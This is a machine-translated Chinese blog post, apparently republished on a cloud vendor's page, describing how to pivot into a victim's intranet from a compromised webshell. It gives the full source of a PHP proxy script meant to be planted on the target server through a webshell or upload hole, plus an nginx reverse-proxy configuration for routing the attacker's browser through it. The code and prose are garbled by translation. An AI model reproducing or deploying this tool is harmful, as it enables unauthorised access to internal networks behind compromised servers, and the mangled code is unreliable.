Directly into the intranet with Webshell

Source: Internet
Author: User
Tags urlencode nginx reverse proxy

Sometimes to proxy into the intranet, but the server does not have an external network port, also can not execute the command bounce LCX What, also did not mention right what what, only a Webshell, this time is compared to the egg hurts.
My humble, wrote a comparison cottage Php+nginx reverse proxy, can be relatively easy to achieve this function.

It's more convenient to set up. Just put this with webshell or upload loopholes, and flung on the other side of the server.
Then configure the local nginx, do a reverse proxy +rewrite OK.

Look at the code first
proxy.php

<?PHPif(!isset($_get[' URL '])){   Exit(0); } $ch=curl_init ();$url=$_get[' URL ']; if(strstr($url,‘?‘)){   $url. = ' & '; } Else{   $url. = '? '; } unset($_get[' URL ']); foreach($_get  as $Key=$Val){   if(GET_MAGIC_QUOTES_GPC()){     $Val=stripslashes($Val); }   $url=$url.‘ & '.$Key.‘ = '.UrlEncode($Val); } $cookie= ' '; foreach($_cookie  as $Key=$Val){   if(GET_MAGIC_QUOTES_GPC()){     $Val=stripslashes($Val); }   $cookie=$cookie.$Key.‘ = '.UrlEncode($Val).‘; ‘; } if($_server[' Request_method ']== "POST") {curl_setopt ($ch, Curlopt_post, 1); $post _data= ' '; foreach($_post  as $Key=$Val){     if(GET_MAGIC_QUOTES_GPC()){       $Val=stripslashes($Val); }     $post _data=$post _data.‘ & '.$Key.‘ = '.UrlEncode($Val); } curl_setopt ($ch, Curlopt_postfields,$post _data); } curl_setopt ($ch, Curlopt_url,$url); curl_setopt ($ch, Curlopt_useragent,$_server[' Http_user_agent ']); curl_setopt ($ch, Curlopt_cookie,$cookie); curl_setopt ($ch, Curlopt_header,TRUE); curl_setopt ($ch, Curlopt_nobody,FALSE); curl_setopt ($ch, Curlopt_returntransfer,TRUE); if(isset($_server[' Http_referer ']) {curl_setopt ($ch, Curlopt_referer,$_server[' Http_referer ']); } $Response=curl_exec ($ch); if(!$Response) {curl_close ($ch); Exit(0); } $HttpStatus=curl_getinfo ($ch,Curlinfo_http_code); $Header=substr($Response, 0,curl_getinfo ($ch,curlinfo_header_size)); $Body=substr($Response, Curl_getinfo ($ch,curlinfo_header_size)); $Headers=Split("\ r \ n",$Header); foreach($Headers  as $ThusHead){   if($ThusHead= = ' Transfer-encoding:chunked ' | |strstr($ThusHead, ' Content-length ')!==false){     Continue; }   Header($ThusHead,FALSE); } Echo $Body; Curl_close ($ch); ?>

Code is very simple, there are some simple small bug, I do not know you crossing see no, I also too lazy to modify.
The other is:
1. This agent only supports the basic get/post does not support the uploading of documents, interested can see for themselves, engage in, after the issue, for the benefit of everyone
2. This agent is not www-url-encode when forwarding the POST request, so there may be some programs that are not properly identified.

Then add a new configuration to the local Nginx

# proxy Webshell    server {        Listen          write a listening port here        ; ~ () {                proxy_pass              http://Webshell ip/File/store/directory/proxy.php?url=http://  $host/$request _uri;                Proxy_set_header        Host    " access Webshell with domain name ";        }    }

Then reload the Nginx configuration, configure the browser to use the Nginx monitoring port as a proxy, you can make it.
Give A.

Directly into the intranet with Webshell

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.